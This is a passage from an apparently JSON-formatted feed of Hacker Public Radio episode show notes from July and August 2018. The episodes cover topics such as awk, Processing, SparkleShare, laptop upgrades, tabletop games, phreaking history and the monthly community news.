                                                            https://www.mccsemi.com/up_pdf/SRV05-4L(SOT23-6L).pdf

                                                            \n

                                                            Pics for the episode:

                                                            \n

                                                            https://media.gunmonkeynet.net/u/nybill/collection/international-troubleshooting/

                                                            \n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"DIY, Kit, Electronics, Troubleshooting","version":0,"downloads":0,"valid":1}, {"id":2592,"date":"2018-07-10","title":"Tech Talk With Allison","duration":3010,"summary":"This is a talk with Allison about webites, ruby, os design and other such things. ","notes":"

                                                            \n

                                                            \n\nCome join us and listen to Allison talk about her tech!!! This talk includes subjects like websites, ruby, os design and other such things.
                                                            \n

                                                            \n

                                                            Allison's email address: allison@isams.net

                                                            \n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"os, ruby, webdev","version":0,"downloads":0,"valid":1}, {"id":2593,"date":"2018-07-11","title":"Intro to De Bellis Antiquitatis","duration":1648,"summary":"Short intro to tabletop wargame called DBA","notes":"

                                                            In this episode Tuula paints rambles about De Bellis Antiquitatis while painting more toy soldiers, so expect long pauses and missing thoughts as he tries to do two things at the same time.

                                                            \n

                                                            De Bellis Antiquitatis (or DBA for short): https://en.wikipedia.org/wiki/De_Bellis_Antiquitatis

                                                            \n

                                                            While the original site seems to be gone, WADBAG unofficial guide to DBA can be found at: https://www.wargames-romania.ro/wordpress/wargames/de-bellis-antiquitatis-dba/the-unofficial-guide-to-dba/

                                                            \n","hostid":364,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"tabletop gaming","version":0,"downloads":0,"valid":1}, {"id":2594,"date":"2018-07-12","title":"Using nmtui, the Network Manager Terminal User interface","duration":638,"summary":"A use case for nmtui and general discussion about how to use it","notes":"

                                                            This is my first show and I am happy to be here!

                                                            \n

                                                            nmtui's documentation can be found here.

                                                            \n

                                                            You can reach me on the freenode irc network at blu3r4d0n.

                                                            ","hostid":366,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"nmtui, networkmanager, linux","version":0,"downloads":0,"valid":1}, {"id":2595,"date":"2018-07-13","title":"New laptop bargain?","duration":252,"summary":"This is a short show about another trip to the computer auction and one of my purchases","notes":"

                                                            Greetings HPR listeners this is Tony Hughes again coming from Blackpool in the UK. Well, as you heard on my last episode I recently visited the computer auction I frequent here in the UK. If you want to drool over the catalogue at any time their website is here:

                                                            \n

                                                            https://www.realnorth.co.uk/

                                                            \n

                                                            So at the sale in June they had some really good 3-4 year old laptops for sale so I decided to take a trip and see if I could liberate a few bargains, and one of the items I came away with was 3 Toshiba Z30a Ultra Books of the i5 4th generation. The basic specs are:

                                                            \n
                                                              \n
                                                            • i5-4300U CPU
                                                            • \n
                                                            • 128GB mSATA solid state drive
                                                            • \n
                                                            • 13.3 inch display
                                                            • \n
                                                            • 8Gig DDR Ram
                                                            • \n
                                                            • 3 x USB3 ports
                                                            • \n
                                                            • VGA and HDMI video out
                                                            • \n
                                                            • Full Ethernet Port
                                                            • \n
                                                            • Combined Audio in/out jack
                                                            • \n
                                                            • SD card reader
                                                            • \n
                                                            • Mobile Intel ® HD Graphics with up to 1792MB dynamically allocated
                                                            • \n
                                                            • shared graphics memory.
                                                            • \n
                                                            \n

                                                            There will be a link in the show notes to the full specifications

                                                            \n

                                                            https://www.toshiba.co.uk/discontinued-products/portege-z30-a-1fd/

                                                            \n

                                                            I had also picked up some 240Gig SSD's and had planned to upgrade the storage but this is not possible with a 2.5 inch drive as it doesn't have a bay for this format. However it does support up to 128Gig High capacity SD cards so this could be an option if you don't want to go to the expense of upgrading the mSATA drive, however as luck would have it one of my other purchases had a 256Gig mSATA drive in a 2.5 inch caddy so that was quickly swapped out and both laptops got an upgrade. More of that in another show.

                                                            \n

                                                            So after doing the hardware upgrade I proceeded to install Ubuntu 18.04 MATE onto the PC. The install worked flawlessly and after completion and configuring the machine to my liking everything seems to be working just fine. The battery condition for a 4 year old laptop is excellent at over 90%, however a replacement can be had on Ebay for around £30 if needed and I always factor this into any second hand laptops I buy.

                                                            \n

                                                            Since I got it running I've installed Windows 7 in a Virtual Machine, in this case Virtual Box as I have a preconfigured Virtual Box HDD image that makes it less of a hassle to install as I don’t have to spend days waiting for all the updates to come through. When this is running in the background it doesn't over tax the host machine, and for Linux users it does mean you have access to that occasional bit of light weight MS software that you may need without the need to lug around 2 PC's.

                                                            \n

                                                            So did I bag a bargain, well 4 years ago on release these laptops went for £1100+ in the UK and even today they fetch £160 in good order on the likes of Ebay for a model with the specification as I originally purchased it. I would never have been in the market to spend £1000+ on a laptop now or then so the only way I can enjoy these types of machines is after they have been pre loved by someone else. Lets just say £160 is quite a bit more than I paid but with the upgrade to 256Gig mSATA drive I have a better machine for a little less than that, I personally think I bagged a bargain which will do me good service in the coming months/years.

                                                            \n","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"computer auction,laptop","version":0,"downloads":0,"valid":1}, {"id":2596,"date":"2018-07-16","title":"Battling with English - part 2","duration":1282,"summary":"Misunderstandings about English grammar, spelling, punctuation, etc.","notes":"

                                                            Battling with English - part 2

                                                            \n

                                                            Further notes about 'then' and 'than'

                                                            \n

                                                            In the last episode I mentioned the confusion between then and than. I referred to the etymology of the two words, but I didn't go into detail.

                                                            \n

                                                            Reading the Online Etymology Dictionary, one interesting point in the page about than is that it was:

                                                            \n
                                                            \n

                                                            Developed from the adverb then, and not distinguished from it by spelling until c. 1700.

                                                            \n
                                                            \n

                                                            So, it would seem that the two words are related and historically were the same! However, I'd guess that it is unlikely that people using them interchangeably now are making reference to usage in the 1700's.

                                                            \n
                                                            \n

                                                            Problems with apostrophes

                                                            \n

                                                            Let us now examine the apostrophe, which is a punctuation mark. It is used for:

                                                            \n
                                                              \n
                                                            • Indicating that letters have been omitted, such as in a contracted form of words. For example when the phrase they are is contracted to they're.

                                                            • \n
                                                            • Turning a word into a possessive form such as in the cat's paw

                                                            • \n
                                                            • When the plural of a single letter (or digit) is required such as in dot your i's and cross your t's.

                                                            • \n
                                                            \n

                                                            There are other uses but you can look at the Wikipedia article for them if you want to dig deeper. I may well revisit this topic in a later show in this series.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":120,"explicit":1,"license":"CC-BY-SA","tags":"grammar,spelling,punctuation,word misuse,English,apostrophe","version":0,"downloads":0,"valid":1}, {"id":2597,"date":"2018-07-17","title":"How to Fix a Remote with Buttons that Don't Work","duration":392,"summary":"A response to Ken Fallon's episode about how to check whether your remote is working or not.","notes":"

                                                            After listening to Ken Fallon’s episode about how to check whether your remote is working or not, I checked one of our remotes that had been giving us problems and found that only a couple of the buttons produced the light. Then I found a video on YouTube showing how to fix non-working buttons and this is my report.

                                                            ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Repairs, Remote Controls, Fixing things, Cleaning","version":0,"downloads":0,"valid":1}, {"id":2598,"date":"2018-07-18","title":"Calculating planetary orbits in Haskell","duration":1711,"summary":"Tuula talks about calculating planetary orbits","notes":"

                                                            Function signatures (it might or might not be helpful to have these at hand while listening):

                                                            \n
                                                              \n
                                                            • Helpers:
                                                            • \n
                                                            \n
                                                                radToDeg :: Floating a => a -> a\n    degToRad :: Floating a => a -> a\n    clamp :: Float -> Float
                                                            \n
                                                              \n
                                                            • Time:

                                                            • \n
                                                            \n
                                                                day :: Int -> Int -> Int -> Float -> Day Float
                                                            \n
                                                              \n
                                                            • Orbital parameters:
                                                            • \n
                                                            \n
                                                                longitudeOfAscendingNode :: Orbit body center => body -> center -> Day d -> LongAscNode body center\n    inclinationToEcliptic :: Orbit body center => body -> center -> Day d -> InclToEcl body center\n    argumentOfPeriapsis :: Orbit body center => body -> center -> Day d -> ArgPeri body center\n    semiMajorAxis :: Orbit body center => body -> center -> Day d -> SemiMajor body center\n    eccentricity :: Orbit body center => body -> center -> Day d -> Ecc body center\n    meanAnomaly :: Orbit body center => body -> center -> Day d -> MeanAno body center
                                                            \n
                                                              \n
                                                            • Calculating location on orbital plane:
                                                            • \n
                                                            \n
                                                                eccAnomaly :: MeanAno a b -> Ecc a b -> EccAnomaly a b\n    trueAnomaly :: EccAnomaly a b -> Ecc a b -> TrueAnomaly a b\n    dist :: EccAnomaly a b -> Ecc a b -> SemiMajor a b -> Distance a b
                                                            \n
                                                              \n
                                                            • Translating between coordinate systems:
                                                            • \n
                                                            \n
                                                                toEclCoord :: TrueAnomaly a b -> Distance a b -> LongAscNode a b -> ArgPeri a b -> InclToEcl a b -> EclCoord a b\n    toEqCoordinates :: EclCoord body Earth -> Day Float -> EqCoord body
                                                            \n

                                                            Some helpful links:

                                                            \n\n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell,astronomy","version":0,"downloads":0,"valid":1}, {"id":2599,"date":"2018-07-19","title":"Fitting a 3.5mm adapter to a bluetooth receiver.","duration":489,"summary":"Ken cobbles together a bluetooth adapter for any 3.5mm headphone","notes":"

                                                            \nThere was a time when the perfect lightweight podcast listening station was a sansa clip running Rockbox connected to a set of SHE3600/97 Philips In-Ear Headphones.

                                                            \n

                                                            \nAlas Philips stopped producing the SHE3600/97. SanDisk reduced the specs of the clips, so Rockbox is no longer supported. We're left without a flexible option to listening to podcasts.\n

                                                            \n

                                                            \nOn the other hand the price of Android phones have fallen to sub €50 range, and blue tooth headsets can be had for €25, there is a possibility to have the portability while keeping the cost low.\n

                                                            \n

                                                            \nI set out to convert the bluetooth headset to a accept generic 3.5mm sockets.\n

                                                            \n

                                                            \n
                                                            \nA new ear bud set with crappy in ear buds, and the hacked set.\n

                                                            \n

                                                            \n
                                                            \nPlays fine with large over ear headphones.\n

                                                            \n

                                                            \n
                                                            \nAlso with small in ear buds, complete with Patent Pending ear identifier\n

                                                            \n

                                                            \n
                                                            \nSomething to read Motherload\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"life hack, earphone, bluetooth","version":0,"downloads":0,"valid":1}, {"id":2600,"date":"2018-07-20","title":"Special episode on 2600, Blue Boxes, Phreaking","duration":3173,"summary":"We celebrate the history of hackers, with a nod to the old skool phreak community.","notes":"

                                                            \n2600 Hz is a frequency in hertz (cycles per second) that was used by AT&T as a steady signal to mark currently unused long-distance telephone lines.
                                                            \nA blue box is an electronic device that generates the in-band signaling audio tones formerly used to control long-distance telephone exchanges.
                                                            \nPhreaking is a slang term coined to describe the activity of a culture of people who study, experiment with, or explore telecommunication systems, such as equipment and systems connected to public telephone networks. The term phreak is a sensational spelling of the word freak with the ph- from phone, and may also refer to the use of various audio frequencies to manipulate a phone system. Phreak, phreaker, or phone phreak are names used for and by individuals who participate in phreaking.
                                                            \n

                                                            \n

                                                            Radio FreeK America 1

                                                            \n

                                                            \n02/20/02 - Trashing live, dual was \"slammed,\" trouble with Qwest, Qwest releasing customer info then backing off, Rax discusses VOMIT and subsequent fun, start your own telco or isp, Onebox.com, Slingshot pre-paid Internet access, Kondor's Trios tribulations, fun with the phone, and more.\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"2600, Blue Box, Phreaking, Radio FreeK America","version":0,"downloads":0,"valid":1}, {"id":2601,"date":"2018-07-23","title":"Liverpool Makerfest 2018","duration":634,"summary":"This is an interview with Chris Dell","notes":"

                                                            This is the first in a series of interviews carried out at Liverpool Makefest 2018

                                                            \n

                                                            This first interview is with Chris Dell about EduBlocks

                                                            \n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, EduBlocks","version":0,"downloads":0,"valid":1}, {"id":2602,"date":"2018-07-24","title":"HPR Quick Tips July 2018","duration":1474,"summary":"SpiderOAK Backup and Trekking the AT","notes":"

                                                            Don’t use GOOGLE DRIVE ! They flag personal content and backups as malware and will not let you download or share your own backups!!!!!

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"SpiderOAK,Backups,DR,Trekking,Hiking","version":0,"downloads":0,"valid":1}, {"id":2603,"date":"2018-07-25","title":"Dummy shares a tip and a tip/rant about asking and answering questions","duration":1503,"summary":"Those blasted rubber coffee mug seals and \"Let me Google that for you.\"","notes":"

                                                            A quick tip on using paper towel or dish rag to easily remove stubborn travel coffee mug rubber seals followed by a semi ranty discussion on asking and responding to questions in the context of “Let me google that for you.”

                                                            \n

                                                            As a bonus, this is part of a series-ish set of shows I’m going to do recording with different equipment to give you the feel of the quality of shows possible with low cost equipment by someone who doesn’t know how to edit audio or speak to audiences.

                                                            \n","hostid":151,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"travel mug seal,asking questions","version":0,"downloads":0,"valid":1}, {"id":2604,"date":"2018-07-26","title":"Restoration of a Fasco L55A Hassock Fan","duration":1074,"summary":"I talk about my recent restoration project of a mid-century modern hassock fan","notes":"

                                                            The Fasco L55A Hassock Fan

                                                            \n\n

                                                            Click the image to view my Flickr slideshow of the restoration process.

                                                            \n\n

                                                            \"Fasco

                                                            \n\n

                                                            A video showing my restored fan in action!

                                                            \n\n\n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Fans, vintage stuff, restoration, staying cool, mid-century modern","version":0,"downloads":0,"valid":1}, {"id":2605,"date":"2018-07-27","title":"The Eyes Have It","duration":599,"summary":"My history with vision issues and how I have dealt with them.","notes":"

                                                            My history with vision issues started when I was 3 years old, and I am still dealing with some issues. Fortunately, things are well-controlled and I am doing well.

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Eye Care, Vision","version":0,"downloads":0,"valid":1}, {"id":2606,"date":"2018-07-30","title":"Liverpool Makefest 2018 - interview with Dan Lynch","duration":520,"summary":"This is an interview with Dan Lynch one of this year's Makefest organisers","notes":"

                                                            Another interview from Liverpool Makefest 2018 this time with Dan Lynch of Linux Outlaws and Floss Weekly

                                                            \n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, Dan Lynch, Linux Outlaws, Floss Weekly","version":0,"downloads":0,"valid":1}, {"id":2607,"date":"2018-07-31","title":"Processing","duration":1777,"summary":"Klaatu introduces Processing, a Java subset and IDE suitable for graphical programming projects","notes":"

                                                            Get Processing from processing.org. Download, extract, and launch. On Linux, just click the processing file.

                                                            \n

                                                            Processing requires that either OpenJDK or Java to be installed.

                                                            \n

                                                            Processing requires a void setup() function, which is a function that Processing expects whenever an application is launched. If you don't have a setup function, your application still launches, but with basic Processing defaults. Try this to start with:

                                                            \n
                                                            void setup() {\n    size(480,720);\n}
                                                            \n

                                                            Click the Run button in the top left corner to launch your [very simple] application: an empty window that is 480 pixels wide and 720 pixels tall.

                                                            \n

                                                            Draw a rectangle on your canvas by invoking Processing's void draw() function:

                                                            \n
                                                            void draw() {\n    rect(10,10,80,80);\n}
                                                            \n

                                                            Click the Run button in the top left corner to launch your application.

                                                            \n

                                                            Add some colour to your rectangle:

                                                            \n
                                                            void draw() {\n    fill(8,120,90);\n    rect(10,10,80,80);\n}
                                                            \n

                                                            Click the Run button in the top left corner to launch your application.

                                                            \n

                                                            Make a simple painting app:

                                                            \n
                                                            void setup() {\n    size(480,720);\n}\n\nvoid draw() {\n    if (mousePressed) {\n        fill(20,120,90);\n        ellipse(mouseX,mouseY,25,25);\n    } else {\n        fill(random(10,120),random(10,80),random(20,200));\n    }\n}
                                                            \n

                                                            More Processing tricks: you can export your application as a standalone Java app, or as an Android .apk as long as you have the Android SDK installed.

                                                            \n

                                                            Processing's documentation is excellent. It has examples for all functions, with pictures.

                                                            \n","hostid":78,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"java,processing","version":0,"downloads":0,"valid":1}, {"id":2608,"date":"2018-08-01","title":"BattleTech","duration":1108,"summary":"Quick introduction to BattleTech tabletop game by Tuula","notes":"

                                                            Following links might help you to get more familiar with the game.

                                                            \n\n","hostid":364,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"BattleTech","version":0,"downloads":0,"valid":1}, {"id":2609,"date":"2018-08-02","title":"SparkleShare","duration":1460,"summary":"Klaatu demonstrates SparkleShare","notes":"

                                                            \nClacke mentioned SparkleShare in episode 2542, and it occurred to me that not everyone knows what Sparkleshare is. So here's a show about it.\n

                                                            \n\n

                                                            \nTo setup SparkleShare, refer to SparkleShare.org. It's available for Linux, Windows, and Mac; great for cross-platform collaboration.\n

                                                            \n\n

                                                            \nThe Linux installer uses FlatPak, so you do need to install that.\n

                                                            \n\n

                                                            \nOnce installed, launch SparkleShare in the usual way. If you have no usual way, you can use this command:

                                                            \n\n
                                                            \n$ flatpak run org.sparkleshare.SparkleShare\n
                                                            \n\n

                                                            \nThe first screen asks for your name and email. This doesn't have to be your real name and email, but it is what SparkleShare will use when making commits on your behalf. This name and email will be visible to anyone who can see your online Git repository.\n

                                                            \n\n

                                                            \nThe next screen displays the Sync Remote Project screen. You use this screen any time you want to add another share to your sparkle.\n

                                                            \n\n\"image\n\n

                                                            \nIn this episode, I set up two projects: one brand new one using my home server as host, and one that mirrors an existing project on Gitlab.com.\n

                                                            \n\n

                                                            Adding a project from Gitlab

                                                            \n\n

                                                            \nThe first thing you must do is give SparkleShare permission to access Gitlab. To do this, click on the SparkleShare icon in your system tray > SparkleShare > Client ID and copy your ID to your clipboard.\n

                                                            \n\n\"image\n\n

                                                            \nNow go to your online Git host and add this "Client ID" to your approved SSH Keys. Where this is located depends on your Git host, but in Gitlab, it's located in the left column of the Settings screen. When your SSH Key has been added, Gitlab displays a key fingerprint (actually just a string of numbers) as confirmation.\n

                                                            \n\n

                                                            \nThe path to your remote Git repository is the part of an URL after the host. It usually starts with your username. For example, if I have a project on Gitlab located at gitlab.com/notklaatu/foo.git then the path that SparkleShare needs is notklaatu/foo.git\n

                                                            \n\n

                                                            \nClick the Add button to add the project to your local SparkleShare folder.\n

                                                            \n\n\n

                                                            Adding a project hosted on your own server

                                                            \n\n

                                                            \nThere are a lot more variables if you're hosting a Git repository on your own server. These are the things that you may need to account for:\n

                                                            \n\n
                                                              \n
                                                            • Is your local .ssh/config file setting some "invisible" defaults for when you SSH to your server? If so, you may need to modify or add an entry for SparkleShare.

                                                            • \n
                                                            • Your SparkleShare auto-generated "Client ID" is located in $HOME/.config/org.sparkleshare.SparkleShare/ssh

                                                            • \n
                                                            • Is your SparkleShare SSH key (the "Client ID" in SparkleShare lingo) in your authorized_hosts file?\n

                                                            • \n
                                                            • Does a Git repository exist on your remote server in the location you think it exists?

                                                            • \n
                                                            \n\n

                                                            Using SparkleShare

                                                            \n\n

                                                            \nUse SparkleShare exactly as you would DropBox or the NextCloud Desktop Client: drag-and-drop a file to add it, drag it to the Trash to delete it. All SparkleShare folders sync'd with any given project syncs automatically through the magickalfulness of Git hooks.\n

                                                            \n\n\n\n","hostid":78,"series":104,"explicit":0,"license":"CC-BY-SA","tags":"git,sparkleshare","version":0,"downloads":0,"valid":1}, {"id":2610,"date":"2018-08-03","title":"Gnu Awk - Part 12","duration":2050,"summary":"Advanced use of arrays","notes":"

                                                            Gnu Awk - Part 12

                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the twelfth episode of the “Learning Awk” series which is being produced by Mr. Young and myself.

                                                            \n

                                                            In this episode I want to continue with the subject I started in episode 10, an advanced-level look at arrays in Awk. This episode covers patsplit which can split a string into an array, the built-in array PROCINFO which can be used to control how awk sorts arrays, as well as asort and asorti, built-in functions for sorting arrays.

                                                            \n

                                                            In case it might be of interest I have also included a section describing a recent use I made of awk to solve a problem.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Awk utility, Awk Language, gawk, arrays, sorting","version":0,"downloads":0,"valid":1}, {"id":2611,"date":"2018-08-06","title":"HPR Community News for July 2018","duration":5053,"summary":"HPR Volunteers talk about shows released and comments posted in July 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Philip.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2586Mon2018-07-02HPR Community News for June 2018HPR Volunteers
                                                            2587Tue2018-07-03Cleaning out your Digital Guttersknightwise
                                                            2588Wed2018-07-04Miniature paintingTuula
                                                            2589Thu2018-07-05Saving Money: a response to Klaatu's Personal Finance SeriesJon Kulp
                                                            2590Fri2018-07-06Blowing a PC Power SupplyTony Hughes AKA TonyH1212
                                                            2591Mon2018-07-09International TroubleshootingNYbill
                                                            2592Tue2018-07-10Tech Talk With Allisonsigflup
                                                            2593Wed2018-07-11Intro to De Bellis AntiquitatisTuula
                                                            2594Thu2018-07-12Using nmtui, the Network Manager Terminal User interfacePhilip
                                                            2595Fri2018-07-13New laptop bargain?Tony Hughes AKA TonyH1212
                                                            2596Mon2018-07-16Battling with English - part 2Dave Morriss
                                                            2597Tue2018-07-17How to Fix a Remote with Buttons that Don't WorkJon Kulp
                                                            2598Wed2018-07-18Calculating planetary orbits in HaskellTuula
                                                            2599Thu2018-07-19Fitting a 3.5mm adapter to a bluetooth receiver.Ken Fallon
                                                            2600Fri2018-07-20Special episode on 2600, Blue Boxes, PhreakingKen Fallon
                                                            2601Mon2018-07-23Liverpool Makerfest 2018Tony Hughes AKA TonyH1212
                                                            2602Tue2018-07-24HPR Quick Tips July 2018operat0r
                                                            2603Wed2018-07-25Dummy shares a tip and a tip/rant about asking and answering questionsdodddummy
                                                            2604Thu2018-07-26Restoration of a Fasco L55A Hassock FanJon Kulp
                                                            2605Fri2018-07-27The Eyes Have ItAhuka
                                                            2606Mon2018-07-30Liverpool Makefest 2018 - interview with Dan LynchTony Hughes AKA TonyH1212
                                                            2607Tue2018-07-31Processingklaatu
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 28 comments in total.

                                                            \n

                                                            There are 6 comments on\n4 previous shows:

                                                            \n
                                                            • hpr2519\n(2018-03-29) \"the_remora Builds a character in Edge of the Empire\"\nby the_remora.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKlaatu on 2018-07-04:\n\"great walkthrough\"

                                                              \n
                                                            • hpr2558\n(2018-05-23) \"Battling with English - part 1\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nThe Snitch on 2018-07-06:\n\"The Jig is up Dave !\"
                                                              • \n
                                                              • \nComment 6:\nDave Morriss on 2018-07-06:\n\"Re: The Jig is up\"

                                                              \n
                                                            • hpr2579\n(2018-06-21) \"Ubuntu 18.04 Mate\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nTony Hughes on 2018-07-01:\n\"Great little update\"

                                                              \n
                                                            • hpr2583\n(2018-06-27) \"Random Rant\"\nby TheDUDE.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nRandyNose AKA TheNose100 on 2018-07-01:\n\"The Juiced Penguin\"
                                                              • \n
                                                              • \nComment 2:\nclacke on 2018-07-19:\n\"mp3 is not a real problem\"

                                                              \n
                                                            \n

                                                            There are 22 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr2588\n(2018-07-04) \"Miniature painting\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2018-07-04:\n\"painting miniatures\"
                                                              • Comment 2:\ndodddummy on 2018-07-09:\n\"Wonder no more\"

                                                              \n
                                                            • hpr2589\n(2018-07-05) \"Saving Money: a response to Klaatu's Personal Finance Series\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2018-07-08:\n\"Thanks for furthering this discussion\"
                                                              • Comment 2:\njonkulp on 2018-07-09:\n\"The Suburban Option\"

                                                              \n
                                                            • hpr2590\n(2018-07-06) \"Blowing a PC Power Supply\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2018-07-08:\n\"Switches on mains\"

                                                              \n
                                                            • hpr2594\n(2018-07-12) \"Using nmtui, the Network Manager Terminal User interface\"\nby Philip.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nklaatu on 2018-07-17:\n\"nice first ep!\"

                                                              \n
                                                            • hpr2596\n(2018-07-16) \"Battling with English - part 2\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nklaatu on 2018-07-17:\n\"great series\"
                                                              • Comment 2:\nDave Morriss on 2018-07-19:\n\"Is English really so bad?\"
                                                              • Comment 3:\nHipstre on 2018-07-20:\n\"Thanks so much!\"
                                                              • Comment 4:\nbjb on 2018-07-21:\n\"the ownership apostrophe\"
                                                              • Comment 5:\nDave Morriss on 2018-07-22:\n\"Hipstre's comments\"
                                                              • Comment 6:\nDave Morriss on 2018-07-26:\n\"Re: Ownership apostrophe\"

                                                              \n
                                                            • hpr2597\n(2018-07-17) \"How to Fix a Remote with Buttons that Don't Work\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHipstre on 2018-07-21:\n\"How to Fix a Remote\"

                                                              \n
                                                            • hpr2599\n(2018-07-19) \"Fitting a 3.5mm adapter to a bluetooth receiver.\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncmhobbs on 2018-07-18:\n\"great plan!\"

                                                              \n
                                                            • hpr2600\n(2018-07-20) \"Special episode on 2600, Blue Boxes, Phreaking\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2603\n(2018-07-25) \"Dummy shares a tip and a tip/rant about asking and answering questions\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHipstre on 2018-07-25:\n\"Nick Burns\"
                                                              • Comment 2:\ndodddummy on 2018-07-25:\n\"Related to humilation\"
                                                              • Comment 3:\nBrenda J. Butler on 2018-07-26:\n\"People who waste my time by trying to find the answer for me.\"
                                                              • Comment 4:\nQuick Answers on 2018-07-27:\n\"I failed to do this and I'm sorry.\"

                                                              \n
                                                            • hpr2605\n(2018-07-27) \"The Eyes Have It\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-07-01:\n\"I *see* what you did there :)\"
                                                              • Comment 2:\nClintonRoy on 2018-07-27:\n\"Yowsers\"

                                                              \n
                                                            • hpr2607\n(2018-07-31) \"Processing\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2018-07-31:\n\"Seems likea great teaching tool\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-July/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to bjb for sending in updates in the past month.

                                                            \n

                                                            Over the period tags and/or summaries have been added to 2 shows which were missing them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2612,"date":"2018-08-07","title":"Liverpool Makefest 2018 - interview with Joe aka Concrete Dog","duration":353,"summary":"An interview with Joe from Liverpool makefest","notes":"

                                                            In this episode I talk to Joe aka Concrete dog about amateur Rocketry

                                                            \n\n\n

                                                            \n
                                                            \n
                                                            \n
                                                            \n

                                                            \n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018","version":0,"downloads":0,"valid":1}, {"id":2613,"date":"2018-08-08","title":"Quick Awk Tip","duration":459,"summary":"This is a tip about awk scripts.","notes":"

                                                            \nThis is obvious, but it tripped me up a few times after listening to the excellent Awk series by Dave and Mr. Young, so I though I'd share it here to save others the trouble.\n

                                                            \n\n

                                                            \nWhen moving from simple awk commands to proper awk scripts, you put a shebang line at the top of your script. It's pretty common to many of us, because we do it for Python and Bash all the time.\n

                                                            \n\n

                                                            \nBut if you just put:\n

                                                            \n\n
                                                            \n#!/usr/bin/awk\n
                                                            \n

                                                            \nThen your awk script won't work the way you expect.

                                                            \n\n

                                                            \nYou must provide the -f flag:\n

                                                            \n
                                                            \n#!/usr/bin/awk -f\n
                                                            \n\n

                                                            \nNow you can pipe things to your awk script as expected. \n

